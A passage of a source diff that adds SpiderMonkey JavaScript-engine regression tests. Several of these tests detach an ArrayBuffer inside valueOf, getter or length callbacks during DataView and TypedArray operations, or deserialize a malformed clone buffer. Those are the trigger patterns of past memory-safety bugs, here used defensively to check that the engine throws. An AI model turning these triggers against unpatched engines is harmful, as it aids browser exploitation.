+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testIndex();
+
+function testValue()
+{
+ var ab = new ArrayBuffer(0x100000);
+
+ var dv = new DataView(ab);
+
+ var value =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x42;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(0xFFFFF, value);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testValue();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/Number-toSource.js b/js/src/tests/non262/extensions/Number-toSource.js
new file mode 100644
index 0000000000..e52a92828c
--- /dev/null
+++ b/js/src/tests/non262/extensions/Number-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!Number.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toSource.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toSource.call(new Number(42))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js b/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js
new file mode 100644
index 0000000000..fd45717476
--- /dev/null
+++ b/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js
@@ -0,0 +1,11 @@
+for (let name of ["test", Symbol.match, Symbol.replace, Symbol.search]) {
+ try {
+ RegExp.prototype[name].call({});
+ } catch (e) {
+ let methodName = typeof name === "symbol" ? `[${name.description}]` : name;
+ assertEq(e.message, `${methodName} method called on incompatible Object`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/RegExp-replace-lastParen.js b/js/src/tests/non262/extensions/RegExp-replace-lastParen.js
new file mode 100644
index 0000000000..d06bfe7cdd
--- /dev/null
+++ b/js/src/tests/non262/extensions/RegExp-replace-lastParen.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1263118;
+var summary = "RegExp.prototype[@@replace] with non-standard $+ substitution.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/(a)(b)(c)/[Symbol.replace]("abc", "[$+]"), "[c]");
+assertEq(/(a)(b)c/[Symbol.replace]("abc", "[$+]"), "[b]");
+assertEq(/(a)bc/[Symbol.replace]("abc", "[$+]"), "[a]");
+assertEq(/abc/[Symbol.replace]("abc", "[$+]"), "[]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/String-match-flags.js b/js/src/tests/non262/extensions/String-match-flags.js
new file mode 100644
index 0000000000..b1a382fdfe
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-match-flags.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1263139;
+var summary = "String.prototype.match with non-string non-standard flags argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called;
+var flags = {
+ toString() {
+ called = true;
+ return "";
+ }
+};
+
+called = false;
+"a".match("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".search("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".replace("a", "b", flags);
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/String-methods-infinite-recursion.js b/js/src/tests/non262/extensions/String-methods-infinite-recursion.js
new file mode 100644
index 0000000000..a5972d8c38
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-methods-infinite-recursion.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657585;
+var summary =
+ 'Guard against infinite recursion when converting |this| to string for the ' +
+ 'String.prototype.* methods';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var obj = {};
+ obj.toString = String.prototype.charAt;
+ "" + obj;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown InternalError for over-recursion, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/String-toSource.js b/js/src/tests/non262/extensions/String-toSource.js
new file mode 100644
index 0000000000..ef872a96f3
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-toSource.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!String.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toSource.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js b/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js
new file mode 100644
index 0000000000..0c18796a39
--- /dev/null
+++ b/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js
@@ -0,0 +1,65 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "set-object-funky-length-detaches.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray%.prototype.set(object w/funky length property, offset) " +
+ "shouldn't misbehave if the funky length property detaches this typed " +
+ "array's buffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ctors = [Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array,
+ Int32Array, Uint32Array,
+ Float32Array, Float64Array];
+ctors.forEach(function(TypedArray) {
+ var buf = new ArrayBuffer(512 * 1024);
+ var ta = new TypedArray(buf);
+
+ var arraylike =
+ {
+ 0: 17,
+ 1: 42,
+ 2: 3,
+ 3: 99,
+ 4: 37,
+ 5: 9,
+ 6: 72,
+ 7: 31,
+ 8: 22,
+ 9: 0,
+ get length()
+ {
+ detachArrayBuffer(buf);
+ return 10;
+ }
+ };
+
+ var passed = false;
+ try
+ {
+ ta.set(arraylike, 0x1234);
+ }
+ catch (e)
+ {
+ passed = true;
+ }
+
+ assertEq(passed, true);
+});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js b/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js
new file mode 100644
index 0000000000..04c12c6423
--- /dev/null
+++ b/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js
@@ -0,0 +1,111 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "TypedArray-subarray-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.subarray shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testBeginWithEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBeginWithEnd();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/__proto__.js b/js/src/tests/non262/extensions/__proto__.js
new file mode 100644
index 0000000000..aa6d608766
--- /dev/null
+++ b/js/src/tests/non262/extensions/__proto__.js
@@ -0,0 +1,53 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = '__proto__.js';
+var BUGNUMBER = 770344;
+var summary = "__proto__ as accessor";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+assertEq(protoDesc !== null, true);
+assertEq(typeof protoDesc, "object");
+assertEq(protoDesc.hasOwnProperty("get"), true);
+assertEq(protoDesc.hasOwnProperty("set"), true);
+assertEq(protoDesc.hasOwnProperty("enumerable"), true);
+assertEq(protoDesc.hasOwnProperty("configurable"), true);
+assertEq(protoDesc.hasOwnProperty("value"), false);
+assertEq(protoDesc.hasOwnProperty("writable"), false);
+
+assertEq(protoDesc.configurable, true);
+assertEq(protoDesc.enumerable, false);
+assertEq(typeof protoDesc.get, "function", protoDesc.get + "");
+assertEq(typeof protoDesc.set, "function", protoDesc.set + "");
+
+assertEq(delete Object.prototype.__proto__, true);
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__"),
+ undefined);
+
+var obj = {};
+obj.__proto__ = 5;
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(obj.hasOwnProperty("__proto__"), true);
+
+var desc = Object.getOwnPropertyDescriptor(obj, "__proto__");
+assertEq(desc !== null, true);
+assertEq(typeof desc, "object");
+assertEq(desc.value, 5);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/arguments-property-access-in-function.js b/js/src/tests/non262/extensions/arguments-property-access-in-function.js
new file mode 100644
index 0000000000..f8c7e97f16
--- /dev/null
+++ b/js/src/tests/non262/extensions/arguments-property-access-in-function.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 721322;
+var summary =
+ 'f.arguments must trigger an arguments object in non-strict mode functions';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ test: function()
+ {
+ var args = obj.test.arguments;
+ assertEq(args !== null, true);
+ assertEq(args[0], 5);
+ assertEq(args[1], undefined);
+ assertEq(args.length, 2);
+ }
+ };
+obj.test(5, undefined);
+
+var sobj =
+ {
+ test: function()
+ {
+ "use strict";
+
+ try
+ {
+ var args = sobj.test.arguments;
+ throw new Error("access to arguments property of strict mode " +
+ "function didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+ }
+ }
+ };
+sobj.test(5, undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-inherited-__proto__.js b/js/src/tests/non262/extensions/array-inherited-__proto__.js
new file mode 100644
index 0000000000..0409d47575
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-inherited-__proto__.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-inherited-__proto__.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(objWithArrPrototype.__proto__, arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(objWithArrGrandPrototype.__proto__, objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js b/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js
new file mode 100644
index 0000000000..ca2907a99a
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1282047;
+var summary = 'Infinite recursion via Array.isArray on a proxy';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxy = Proxy.revocable([], {}).proxy;
+
+// A depth of 100000 ought to be enough for any platform to consume its entire
+// stack, hopefully without making any recalcitrant platforms time out. If no
+// timeout happens, the assertEq checks for the proper expected value.
+for (var i = 0; i < 1e5; i++)
+ proxy = new Proxy(proxy, {});
+
+try
+{
+ assertEq(Array.isArray(proxy), true);
+
+ // If we reach here, it's cool, we just didn't consume the entire stack.
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-length-protochange.js b/js/src/tests/non262/extensions/array-length-protochange.js
new file mode 100644
index 0000000000..aeec8e9a22
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-length-protochange.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [1, 2, 3];
+a.__proto__ = null;
+reportCompare("length" in a, true, "length should be own property of array");
+reportCompare(Object.hasOwnProperty.call(a, "length"), true,
+ "length should be own property of array");
+reportCompare(a.length, 3, "array length should be 3");
+
+var a = [], b = [];
+b.__proto__ = a;
+reportCompare(b.hasOwnProperty("length"), true,
+ "length should be own property of array");
+b.length = 42;
+reportCompare(b.length, 42, "should have mutated b's (own) length");
+reportCompare(a.length, 0, "should not have mutated a's (own) length");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/array-pop-proxy.js b/js/src/tests/non262/extensions/array-pop-proxy.js
new file mode 100644
index 0000000000..15c230977a
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-pop-proxy.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-pop-proxy.js';
+var BUGNUMBER = 858381;
+var summary = "Behavior of [].pop on proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var p = new Proxy([0, 1, 2], {});
+Array.prototype.pop.call(p);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-toString-recursion.js b/js/src/tests/non262/extensions/array-toString-recursion.js
new file mode 100644
index 0000000000..aa5d856c3b
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-toString-recursion.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 635389;
+var summary = 'Infinite recursion via [].{toString,toLocaleString,join}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var x = [];
+ x.join = Array.prototype.toString;
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+try
+{
+ var x = { toString: Array.prototype.toString, join: Array.prototype.toString };
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/arraybuffer-prototype.js b/js/src/tests/non262/extensions/arraybuffer-prototype.js
new file mode 100644
index 0000000000..c61b317762
--- /dev/null
+++ b/js/src/tests/non262/extensions/arraybuffer-prototype.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 665961;
+var summary =
+ "ArrayBuffer cannot access properties defined on the prototype chain.";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+ArrayBuffer.prototype.prop = "on prototype";
+var b = new ArrayBuffer([]);
+assertEq(b.prop, "on prototype");
+
+var c = new ArrayBuffer([]);
+assertEq(c.prop, "on prototype");
+c.prop = "direct";
+assertEq(c.prop, "direct");
+
+assertEq(ArrayBuffer.prototype.prop, "on prototype");
+assertEq(new ArrayBuffer([]).prop, "on prototype");
+
+assertEq(c.nonexistent, undefined);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/bad-regexp-data-clone.js b/js/src/tests/non262/extensions/bad-regexp-data-clone.js
new file mode 100644
index 0000000000..70ed427a6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/bad-regexp-data-clone.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+let data = new Uint8Array([
+ 104,97,108,101,6,0,255,255,95,98,
+ 0,0,0,0,0,104,97,108,101,9,0,255,
+ 255,95,98,115,0,0,0,0,0,0,65,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0
+]);
+let cloneBuffer = serialize(null);
+cloneBuffer.clonebuffer = data.buffer;
+
+// One of the bytes above encodes a JS::RegExpFlags, but that byte contains bits
+// outside of JS::RegExpFlag::AllFlags and so will trigger an error.
+assertThrowsInstanceOf(() => deserialize(cloneBuffer), InternalError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/basic-for-each.js b/js/src/tests/non262/extensions/basic-for-each.js
new file mode 100644
index 0000000000..851faf4193
--- /dev/null
+++ b/js/src/tests/non262/extensions/basic-for-each.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-each";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+function Array_equals(a, b)
+{
+ if (!(a instanceof Array) || !(b instanceof Array))
+ throw new Error("Arguments not both of type Array");
+ if (a.length != b.length)
+ return false;
+ for (var i = 0, sz = a.length; i < sz; i++)
+ if (a[i] !== b[i])
+ return false;
+ return true;
+}
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/basic-for-in.js b/js/src/tests/non262/extensions/basic-for-in.js
new file mode 100644
index 0000000000..f1476c65c5
--- /dev/null
+++ b/js/src/tests/non262/extensions/basic-for-in.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-in";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/browser.js b/js/src/tests/non262/extensions/browser.js
new file mode 100644
index 0000000000..6cd01ab6f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/browser.js
@@ -0,0 +1,6 @@
+// The page loaded in the browser is jsreftest.html, which is located in
+// js/src/tests. That makes Worker script URLs resolve relative to the wrong
+// directory. workerDir is the workaround.
+workerDir = (document.location.href.replace(/\/[^/?]*(\?.*)?$/, '/') +
+ 'non262/extensions/');
+
diff --git a/js/src/tests/non262/extensions/bug472534.js b/js/src/tests/non262/extensions/bug472534.js
new file mode 100644
index 0000000000..0c7d5f3ecb
--- /dev/null
+++ b/js/src/tests/non262/extensions/bug472534.js
@@ -0,0 +1,30 @@
+function monthNames () {
+ return [
+ /jan(uar(y)?)?/, 0,
+ /feb(ruar(y)?)?/, 1,
+ /m\u00e4r|mar|m\u00e4rz|maerz|march/, 2,
+ /apr(il)?/, 3,
+ /ma(i|y)/, 4,
+ /jun(i|o|e)?/, 5,
+ /jul(i|y)?/, 6,
+ /aug(ust)?/, 7,
+ /sep((t)?(ember))?/, 8,
+ /o(c|k)t(ober)?/, 9,
+ /nov(ember)?/, 10,
+ /de(c|z)(ember)?/, 11
+ ];
+};
+
+var actual = '';
+var expected = '(jan(uar(y)?)?)|(feb(ruar(y)?)?)|(m\\u00e4r|mar|m\\u00e4rz|maerz|march)|(apr(il)?)|(ma(i|y))|(jun(i|o|e)?)|(jul(i|y)?)|(aug(ust)?)|(sep((t)?(ember))?)|(o(c|k)t(ober)?)|(nov(ember)?)|(de(c|z)(ember)?)';
+var mn = monthNames();
+for (var i = 0; i < mn.length; ++i) {
+ if (actual)
+ actual += '|';
+ actual += '(' + mn[i++].source + ')';
+}
+
+assertEq(actual, expected);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/builtin-function-arguments-caller.js b/js/src/tests/non262/extensions/builtin-function-arguments-caller.js
new file mode 100644
index 0000000000..2acf5f452f
--- /dev/null
+++ b/js/src/tests/non262/extensions/builtin-function-arguments-caller.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'builtin-function-arguments-caller.js';
+var BUGNUMBER = 929642;
+var summary =
+ "Built-in functions defined in ECMAScript pick up arguments/caller " +
+ "properties from Function.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectNoProperty(obj, prop)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(desc, undefined,
+ "should be no '" + prop + "' property on " + obj);
+}
+
+// Test a builtin that's native.
+expectNoProperty(Object, "arguments");
+expectNoProperty(Object, "caller");
+
+// Also test a builtin that's self-hosted.
+expectNoProperty(Array.prototype.indexOf, "arguments");
+expectNoProperty(Array.prototype.indexOf, "caller");
+
+// Test the Function construct for good measure, because it's so intricately
+// invovled in bootstrapping.
+expectNoProperty(Function, "arguments");
+expectNoProperty(Function, "caller");
+
+var argsDesc = Object.getOwnPropertyDescriptor(Function.prototype, "arguments");
+var callerDesc = Object.getOwnPropertyDescriptor(Function.prototype, "caller");
+
+var argsGet = argsDesc.get, argsSet = argsDesc.set;
+
+expectNoProperty(argsGet, "arguments");
+expectNoProperty(argsGet, "caller");
+expectNoProperty(argsSet, "arguments");
+expectNoProperty(argsSet, "caller");
+
+var callerGet = callerDesc.get, callerSet = callerDesc.set;
+
+expectNoProperty(callerGet, "arguments");
+expectNoProperty(callerGet, "caller");
+expectNoProperty(callerSet, "arguments");
+expectNoProperty(callerSet, "caller");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/censor-strict-caller.js b/js/src/tests/non262/extensions/censor-strict-caller.js
new file mode 100644
index 0000000000..b23469953d
--- /dev/null
+++ b/js/src/tests/non262/extensions/censor-strict-caller.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+
+function nonstrict() { return nonstrict.caller; }
+function strict() { "use strict"; return nonstrict(); }
+
+assertEq(strict(), null);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/clone-bigint.js b/js/src/tests/non262/extensions/clone-bigint.js
new file mode 100644
index 0000000000..a40bbed8f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-bigint.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testBigInt(b) {
+ var a = deserialize(serialize(b));
+ assertEq(typeof b, "bigint");
+ assertEq(typeof a, "bigint");
+ assertEq(a, b);
+}
+
+testBigInt(0n);
+testBigInt(-1n);
+testBigInt(1n);
+
+testBigInt(0xffffFFFFffffFFFFffffFFFFffffFFFFn);
+testBigInt(-0xffffFFFFffffFFFFffffFFFFffffFFFFn);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-complex-object.js b/js/src/tests/non262/extensions/clone-complex-object.js
new file mode 100644
index 0000000000..869a7d805f
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-complex-object.js
@@ -0,0 +1,313 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Set of properties on a cloned object that are legitimately non-enumerable,
+// grouped by object type.
+var non_enumerable = { 'Array': [ 'length' ],
+ 'String': [ 'length' ] };
+
+// Set of properties on a cloned object that are legitimately non-configurable,
